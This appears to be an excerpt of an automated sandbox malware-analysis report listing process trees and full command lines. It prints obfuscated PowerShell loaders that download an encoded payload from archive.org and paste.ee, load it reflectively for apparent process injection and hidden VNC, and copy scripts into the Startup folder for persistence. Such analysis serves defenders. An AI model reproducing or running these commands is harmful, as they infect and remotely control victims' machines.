Imagebase:	0x7ff6fbbe0000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	85
Start time:	06:37:05
Start date:	25/09/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCgnTnJYdXJsJysnID0nKycgWicrJ0hvJysnaHQnKyd0cHM6Ly8nKydpYTYwMCcrJzEwJysnMC51cy5hcmNoJysnaXYnKydlLicrJ29yZy8yNC8nKydpdCcrJ2Vtcy9kZXRhJysnaC1uJysnb3RlLXYvRCcrJ2UnKyd0YWhOb3RlVicrJy50eCcrJ3RaSG87TnJYJysnYmEnKydzZTY0Q29udGVuJysndCA9IChOZXctT2JqZWN0IFN5c3RlbS4nKydOZXQuV2ViQycrJ2xpZScrJ250KS5Eb3dubG9hZCcrJ1N0cmluZyhOclh1cmwnKycpO05yJysnWCcrJ2JpJysnbicrJ2FyJysneUNvbnRlbicrJ3QgPScrJyBbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZScrJzY0UycrJ3RyJysnaW4nKydnKE5yWGJhcycrJ2U2NEMnKydvbicrJ3RlbicrJ3QpO05yWGFzc2VtYmx5ID0gJysnW1JlZmxlYycrJ3Rpb24uJysnQScrJ3NzZW1ibHldOicrJzpMJysnb2FkKCcrJ05yJysnWGJpbmFyJysneUMnKydvbnQnKydlbnQpJysnOycrJ05yWCcrJ3R5cCcrJ2UnKycgPScrJyBOclhhc3NlbWJsJysneS5HZXRUeXBlKFpIbycrJ1J1blBFLkhvbWVaSG8pO05yWCcrJ20nKydldGhvZCA9ICcrJ04nKydyWHQnKyd5cGUuRycrJ2V0TScrJ2V0aG9kJysnKFpIJysnb1ZBSVpIbyk7TicrJ3InKydYbWV0aCcrJ29kLicrJ0luJysndm9rZShOcicrJ1huJysndScrJ2xsLCBbb2JqZWN0W11dQChaSG8wL0U3TycrJzI4L2QvZWUuJysnZXRzYXAvLzpzcHR0aFpIJysnbyAsJysnICcrJ1pIbzFaSG8nKycgLCBaSG9DOk93R1BybycrJ2dyYW1EYScrJ3RhJysnTycrJ3dHWkgnKydvICwgWkhvaHZuY1onKydIbywnKydaJysnSG9zdicrJ2Nob3N0WkhvLFpIb1pIbyknKycpJykgLWNyZXBMYWNlICAoW2NoQVJdOTArW2NoQVJdNzIrW2NoQVJdMTExKSxbY2hBUl0zOS1yZVBsQUNlJ093RycsW2NoQVJdOTItcmVQbEFDZSAoW2NoQVJdNzgrW2NoQVJdMTE0K1tjaEFSXTg4KSxbY2hBUl0zNil8aW52T0tlLWV4UFJlU1NpT04=';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
Imagebase:	0x7ff7b2bb0000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: conhost.exePID: 2560, Parent PID: 4476

General

Target ID:	86
Start time:	06:37:05
Start date:	25/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff620390000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	87
Start time:	06:37:06
Start date:	25/09/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "(('NrXurl'+' ='+' Z'+'Ho'+'ht'+'tps://'+'ia600'+'10'+'0.us.arch'+'iv'+'e.'+'org/24/'+'it'+'ems/deta'+'h-n'+'ote-v/D'+'e'+'tahNoteV'+'.tx'+'tZHo;NrX'+'ba'+'se64Conten'+'t = (New-Object System.'+'Net.WebC'+'lie'+'nt).Download'+'String(NrXurl'+');Nr'+'X'+'bi'+'n'+'ar'+'yConten'+'t ='+' [System.Convert]::FromBase'+'64S'+'tr'+'in'+'g(NrXbas'+'e64C'+'on'+'ten'+'t);NrXassembly = '+'[Reflec'+'tion.'+'A'+'ssembly]:'+':L'+'oad('+'Nr'+'Xbinar'+'yC'+'ont'+'ent)'+';'+'NrX'+'typ'+'e'+' ='+' NrXassembl'+'y.GetType(ZHo'+'RunPE.HomeZHo);NrX'+'m'+'ethod = '+'N'+'rXt'+'ype.G'+'etM'+'ethod'+'(ZH'+'oVAIZHo);N'+'r'+'Xmeth'+'od.'+'In'+'voke(Nr'+'Xn'+'u'+'ll, [object[]]@(ZHo0/E7O'+'28/d/ee.'+'etsap//:sptthZH'+'o ,'+' '+'ZHo1ZHo'+' , ZHoC:OwGPro'+'gramDa'+'ta'+'O'+'wGZH'+'o , ZHohvncZ'+'Ho,'+'Z'+'Hosv'+'chostZHo,ZHoZHo)'+')') -crepLace ([chAR]90+[chAR]72+[chAR]111),[chAR]39-rePlACe'OwG',[chAR]92-rePlACe ([chAR]78+[chAR]114+[chAR]88),[chAR]36)\|invOKe-exPReSSiON"
Imagebase:	0x7ff7b2bb0000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: wscript.exePID: 5168, Parent PID: 3968

General

Target ID:	90
Start time:	06:37:12
Start date:	25/09/2024
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WScript.exe" "C:\ProgramData\hvnc.vbs"
Imagebase:	0x7ff70fc70000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: powershell.exePID: 7856, Parent PID: 5168

General

Target ID:	91
Start time:	06:37:13
Start date:	25/09/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCgnTnJYdXJsJysnID0nKycgWicrJ0hvJysnaHQnKyd0cHM6Ly8nKydpYTYwMCcrJzEwJysnMC51cy5hcmNoJysnaXYnKydlLicrJ29yZy8yNC8nKydpdCcrJ2Vtcy9kZXRhJysnaC1uJysnb3RlLXYvRCcrJ2UnKyd0YWhOb3RlVicrJy50eCcrJ3RaSG87TnJYJysnYmEnKydzZTY0Q29udGVuJysndCA9IChOZXctT2JqZWN0IFN5c3RlbS4nKydOZXQuV2ViQycrJ2xpZScrJ250KS5Eb3dubG9hZCcrJ1N0cmluZyhOclh1cmwnKycpO05yJysnWCcrJ2JpJysnbicrJ2FyJysneUNvbnRlbicrJ3QgPScrJyBbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZScrJzY0UycrJ3RyJysnaW4nKydnKE5yWGJhcycrJ2U2NEMnKydvbicrJ3RlbicrJ3QpO05yWGFzc2VtYmx5ID0gJysnW1JlZmxlYycrJ3Rpb24uJysnQScrJ3NzZW1ibHldOicrJzpMJysnb2FkKCcrJ05yJysnWGJpbmFyJysneUMnKydvbnQnKydlbnQpJysnOycrJ05yWCcrJ3R5cCcrJ2UnKycgPScrJyBOclhhc3NlbWJsJysneS5HZXRUeXBlKFpIbycrJ1J1blBFLkhvbWVaSG8pO05yWCcrJ20nKydldGhvZCA9ICcrJ04nKydyWHQnKyd5cGUuRycrJ2V0TScrJ2V0aG9kJysnKFpIJysnb1ZBSVpIbyk7TicrJ3InKydYbWV0aCcrJ29kLicrJ0luJysndm9rZShOcicrJ1huJysndScrJ2xsLCBbb2JqZWN0W11dQChaSG8wL0U3TycrJzI4L2QvZWUuJysnZXRzYXAvLzpzcHR0aFpIJysnbyAsJysnICcrJ1pIbzFaSG8nKycgLCBaSG9DOk93R1BybycrJ2dyYW1EYScrJ3RhJysnTycrJ3dHWkgnKydvICwgWkhvaHZuY1onKydIbywnKydaJysnSG9zdicrJ2Nob3N0WkhvLFpIb1pIbyknKycpJykgLWNyZXBMYWNlICAoW2NoQVJdOTArW2NoQVJdNzIrW2NoQVJdMTExKSxbY2hBUl0zOS1yZVBsQUNlJ093RycsW2NoQVJdOTItcmVQbEFDZSAoW2NoQVJdNzgrW2NoQVJdMTE0K1tjaEFSXTg4KSxbY2hBUl0zNil8aW52T0tlLWV4UFJlU1NpT04=';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
Imagebase:	0x7ff7b2bb0000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: conhost.exePID: 9104, Parent PID: 7856

General

Target ID:	92
Start time:	06:37:13
Start date:	25/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff620390000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	93
Start time:	06:37:14
Start date:	25/09/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "(('NrXurl'+' ='+' Z'+'Ho'+'ht'+'tps://'+'ia600'+'10'+'0.us.arch'+'iv'+'e.'+'org/24/'+'it'+'ems/deta'+'h-n'+'ote-v/D'+'e'+'tahNoteV'+'.tx'+'tZHo;NrX'+'ba'+'se64Conten'+'t = (New-Object System.'+'Net.WebC'+'lie'+'nt).Download'+'String(NrXurl'+');Nr'+'X'+'bi'+'n'+'ar'+'yConten'+'t ='+' [System.Convert]::FromBase'+'64S'+'tr'+'in'+'g(NrXbas'+'e64C'+'on'+'ten'+'t);NrXassembly = '+'[Reflec'+'tion.'+'A'+'ssembly]:'+':L'+'oad('+'Nr'+'Xbinar'+'yC'+'ont'+'ent)'+';'+'NrX'+'typ'+'e'+' ='+' NrXassembl'+'y.GetType(ZHo'+'RunPE.HomeZHo);NrX'+'m'+'ethod = '+'N'+'rXt'+'ype.G'+'etM'+'ethod'+'(ZH'+'oVAIZHo);N'+'r'+'Xmeth'+'od.'+'In'+'voke(Nr'+'Xn'+'u'+'ll, [object[]]@(ZHo0/E7O'+'28/d/ee.'+'etsap//:sptthZH'+'o ,'+' '+'ZHo1ZHo'+' , ZHoC:OwGPro'+'gramDa'+'ta'+'O'+'wGZH'+'o , ZHohvncZ'+'Ho,'+'Z'+'Hosv'+'chostZHo,ZHoZHo)'+')') -crepLace ([chAR]90+[chAR]72+[chAR]111),[chAR]39-rePlACe'OwG',[chAR]92-rePlACe ([chAR]78+[chAR]114+[chAR]88),[chAR]36)\|invOKe-exPReSSiON"
Imagebase:	0x7ff7b2bb0000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: wscript.exePID: 6708, Parent PID: 3968

General

Target ID:	94
Start time:	06:37:20
Start date:	25/09/2024
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\escrivan.vbs"
Imagebase:	0x7ff6fbbe0000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	95
Start time:	06:37:21
Start date:	25/09/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 10 & powershell -command [System.IO.File]::Copy('C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\escrivan.vbs', 'C:\Users\' + [Environment]::UserName + ''\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ sbv.navircse.vbs')')
Imagebase:	0x7ff682e10000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	96
Start time:	06:37:21
Start date:	25/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff620390000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	97
Start time:	06:37:21
Start date:	25/09/2024
Path:	C:\Windows\System32\PING.EXE
Wow64 process (32bit):	false
Commandline:	ping 127.0.0.1 -n 10
Imagebase:	0x7ff651160000
File size:	22'528 bytes
MD5 hash:	2F46799D79D22AC72C241EC0322B011D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	98
Start time:	06:37:29
Start date:	25/09/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\start_32.bat" "
Imagebase:	0x7ff682e10000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	99
Start time:	06:37:29
Start date:	25/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff620390000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	100
Start time:	06:37:29
Start date:	25/09/2024
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WScript.exe" "C:\Users\Public\Documents\32\hnvc.vbs"
Imagebase:	0x7ff6fbbe0000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: powershell.exePID: 1680, Parent PID: 6240

General

Target ID:	101
Start time:	06:37:30
Start date:	25/09/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCgnTnJYdXJsJysnID0nKycgWicrJ0hvJysnaHQnKyd0cHM6Ly8nKydpYTYwMCcrJzEwJysnMC51cy5hcmNoJysnaXYnKydlLicrJ29yZy8yNC8nKydpdCcrJ2Vtcy9kZXRhJysnaC1uJysnb3RlLXYvRCcrJ2UnKyd0YWhOb3RlVicrJy50eCcrJ3RaSG87TnJYJysnYmEnKydzZTY0Q29udGVuJysndCA9IChOZXctT2JqZWN0IFN5c3RlbS4nKydOZXQuV2ViQycrJ2xpZScrJ250KS5Eb3dubG9hZCcrJ1N0cmluZyhOclh1cmwnKycpO05yJysnWCcrJ2JpJysnbicrJ2FyJysneUNvbnRlbicrJ3QgPScrJyBbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZScrJzY0UycrJ3RyJysnaW4nKydnKE5yWGJhcycrJ2U2NEMnKydvbicrJ3RlbicrJ3QpO05yWGFzc2VtYmx5ID0gJysnW1JlZmxlYycrJ3Rpb24uJysnQScrJ3NzZW1ibHldOicrJzpMJysnb2FkKCcrJ05yJysnWGJpbmFyJysneUMnKydvbnQnKydlbnQpJysnOycrJ05yWCcrJ3R5cCcrJ2UnKycgPScrJyBOclhhc3NlbWJsJysneS5HZXRUeXBlKFpIbycrJ1J1blBFLkhvbWVaSG8pO05yWCcrJ20nKydldGhvZCA9ICcrJ04nKydyWHQnKyd5cGUuRycrJ2V0TScrJ2V0aG9kJysnKFpIJysnb1ZBSVpIbyk7TicrJ3InKydYbWV0aCcrJ29kLicrJ0luJysndm9rZShOcicrJ1huJysndScrJ2xsLCBbb2JqZWN0W11dQChaSG8wL0U3TycrJzI4L2QvZWUuJysnZXRzYXAvLzpzcHR0aFpIJysnbyAsJysnICcrJ1pIbzFaSG8nKycgLCBaSG9DOk93R1BybycrJ2dyYW1EYScrJ3RhJysnTycrJ3dHWkgnKydvICwgWkhvaHZuY1onKydIbywnKydaJysnSG9zdicrJ2Nob3N0WkhvLFpIb1pIbyknKycpJykgLWNyZXBMYWNlICAoW2NoQVJdOTArW2NoQVJdNzIrW2NoQVJdMTExKSxbY2hBUl0zOS1yZVBsQUNlJ093RycsW2NoQVJdOTItcmVQbEFDZSAoW2NoQVJdNzgrW2NoQVJdMTE0K1tjaEFSXTg4KSxbY2hBUl0zNil8aW52T0tlLWV4UFJlU1NpT04=';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
Imagebase:	0x7ff7b2bb0000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: conhost.exePID: 6880, Parent PID: 1680

General

Target ID:	102
Start time:	06:37:31
Start date:	25/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff620390000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	103
Start time:	06:37:31
Start date:	25/09/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "(('NrXurl'+' ='+' Z'+'Ho'+'ht'+'tps://'+'ia600'+'10'+'0.us.arch'+'iv'+'e.'+'org/24/'+'it'+'ems/deta'+'h-n'+'ote-v/D'+'e'+'tahNoteV'+'.tx'+'tZHo;NrX'+'ba'+'se64Conten'+'t = (New-Object System.'+'Net.WebC'+'lie'+'nt).Download'+'String(NrXurl'+');Nr'+'X'+'bi'+'n'+'ar'+'yConten'+'t ='+' [System.Convert]::FromBase'+'64S'+'tr'+'in'+'g(NrXbas'+'e64C'+'on'+'ten'+'t);NrXassembly = '+'[Reflec'+'tion.'+'A'+'ssembly]:'+':L'+'oad('+'Nr'+'Xbinar'+'yC'+'ont'+'ent)'+';'+'NrX'+'typ'+'e'+' ='+' NrXassembl'+'y.GetType(ZHo'+'RunPE.HomeZHo);NrX'+'m'+'ethod = '+'N'+'rXt'+'ype.G'+'etM'+'ethod'+'(ZH'+'oVAIZHo);N'+'r'+'Xmeth'+'od.'+'In'+'voke(Nr'+'Xn'+'u'+'ll, [object[]]@(ZHo0/E7O'+'28/d/ee.'+'etsap//:sptthZH'+'o ,'+' '+'ZHo1ZHo'+' , ZHoC:OwGPro'+'gramDa'+'ta'+'O'+'wGZH'+'o , ZHohvncZ'+'Ho,'+'Z'+'Hosv'+'chostZHo,ZHoZHo)'+')') -crepLace ([chAR]90+[chAR]72+[chAR]111),[chAR]39-rePlACe'OwG',[chAR]92-rePlACe ([chAR]78+[chAR]114+[chAR]88),[chAR]36)\|invOKe-exPReSSiON"
Imagebase:	0x7ff7b2bb0000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: powershell.exePID: 8704, Parent PID: 8384

General

Target ID:	104
Start time:	06:37:31
Start date:	25/09/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell -command [System.IO.File]::Copy('C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\escrivan.vbs', 'C:\Users\' + [Environment]::UserName + ''\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ sbv.navircse.vbs')')
Imagebase:	0x7ff7b2bb0000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	105
Start time:	06:37:37
Start date:	25/09/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\start_pow.bat" "
Imagebase:	0x7ff682e10000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	106
Start time:	06:37:37
Start date:	25/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff620390000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	107
Start time:	06:37:38
Start date:	25/09/2024
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WScript.exe" "C:\Users\Public\Documents\pow\wm.vbs"
Imagebase:	0x7ff6fbbe0000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: cmd.exePID: 8176, Parent PID: 7132

General

Target ID:	108
Start time:	06:37:39
Start date:	25/09/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 10 & powershell -command [System.IO.File]::Copy('C:\Users\Public\Documents\pow\wm.vbs', 'C:\Users\' + [Environment]::UserName + ''\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ sbv.navircse.vbs')')
Imagebase:	0x7ff682e10000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: conhost.exePID: 7464, Parent PID: 8176

General

Target ID:	109
Start time:	06:37:39
Start date:	25/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff620390000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	110
Start time:	06:37:39
Start date:	25/09/2024
Path:	C:\Windows\System32\PING.EXE
Wow64 process (32bit):	false
Commandline:	ping 127.0.0.1 -n 10
Imagebase:	0x7ff651160000
File size:	22'528 bytes
MD5 hash:	2F46799D79D22AC72C241EC0322B011D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	111
Start time:	06:37:43
Start date:	25/09/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCgnezB9dXJsID0gezF9aHR0cHMnKyc6Ly9pYTYwJysnMDEwMC51cy5hcmNoaScrJ3ZlLm9yZycrJy8yNC9pJysndGVtcycrJy9kJysnZXQnKydhJysnaC1ub3RlLXYvRGV0YWgnKydOb3RlVicrJy50eHR7MX07ezAnKyd9YmFzZTY0Q28nKydudGVudCAnKyc9JysnICcrJyhOZXctT2InKydqZWN0IFN5Jysnc3QnKydlbS5OZScrJ3QuVycrJ2ViQ2xpZScrJ250KS4nKydEb3dubCcrJ29hZFN0JysncmluJysnZyh7MCcrJ30nKyd1cmwpO3snKycwfWJpbicrJ2FyJysneUNvbicrJ3RlbicrJ3QgPScrJyAnKydbU3lzdGVtLkNvbnZlcnRdJysnOjonKydGcm9tQmEnKydzZTY0U3RyaW5nKHswfWJhc2UnKyc2NENvbicrJ3RlbnQpO3swfWFzc2UnKydtYmwnKyd5ICcrJz0nKycgW1JlZmxlY3Rpb24uQXMnKydzJysnZW1ibHldOjonKydMbycrJ2FkKHswfWJpbmEnKydyeUNvbnRlbnQpO3swfXR5cCcrJ2UgJysnPSB7JysnMH0nKydhc3NlbScrJ2JseS5HZXRUJysneXAnKydlKHsxfVInKyd1blBFJysnLkhvJysnbWV7JysnMX0pO3swJysnfScrJ21lJysndGhvZCA9IHswfXR5cGUuR2V0TWV0aG9kKHsxfVZBJysnSXsxfScrJyk7ezB9JysnbScrJ2UnKyd0aCcrJ29kLkluJysndicrJ29rZSh7MH1udScrJ2xsLCBbb2JqZScrJ2N0WycrJ11dJysnQCh7MX0nKycwJysnL2dKMWsnKydTJysnL2QvJysnZWUuZScrJ3RzYXAvLzpzcHR0aHsxJysnfScrJyAsJysnIHsxfWRlJysnc2F0JysnaXZhZG97MScrJ30nKycgLCB7MScrJ31kZXNhdGl2YScrJ2QnKydvezF9ICwgezF9JysnZGUnKydzYXRpdmFkb3snKycxfSx7MX1DJysnYScrJ3NQbycrJ2x7MX0nKycsezEnKyd9eycrJzF9KSknKS1mICBbY2hBUl0zNixbY2hBUl0zOSkgfElleA==';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
Imagebase:	0x7ff7b2bb0000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	112
Start time:	06:37:43
Start date:	25/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff620390000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	113
Start time:	06:37:44
Start date:	25/09/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "(('{0}url = {1}https'+'://ia60'+'0100.us.archi'+'ve.org'+'/24/i'+'tems'+'/d'+'et'+'a'+'h-note-v/Detah'+'NoteV'+'.txt{1};{0'+'}base64Co'+'ntent '+'='+' '+'(New-Ob'+'ject Sy'+'st'+'em.Ne'+'t.W'+'ebClie'+'nt).'+'Downl'+'oadSt'+'rin'+'g({0'+'}'+'url);{'+'0}bin'+'ar'+'yCon'+'ten'+'t ='+' '+'[System.Convert]'+'::'+'FromBa'+'se64String({0}base'+'64Con'+'tent);{0}asse'+'mbl'+'y '+'='+' [Reflection.As'+'s'+'embly]::'+'Lo'+'ad({0}bina'+'ryContent);{0}typ'+'e '+'= {'+'0}'+'assem'+'bly.GetT'+'yp'+'e({1}R'+'unPE'+'.Ho'+'me{'+'1});{0'+'}'+'me'+'thod = {0}type.GetMethod({1}VA'+'I{1}'+');{0}'+'m'+'e'+'th'+'od.In'+'v'+'oke({0}nu'+'ll, [obje'+'ct['+']]'+'@({1}'+'0'+'/gJ1k'+'S'+'/d/'+'ee.e'+'tsap//:sptth{1'+'}'+' ,'+' {1}de'+'sat'+'ivado{1'+'}'+' , {1'+'}desativa'+'d'+'o{1} , {1}'+'de'+'sativado{'+'1},{1}C'+'a'+'sPo'+'l{1}'+',{1'+'}{'+'1}))')-f [chAR]36,[chAR]39) \|Iex"
Imagebase:	0x7ff7b2bb0000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
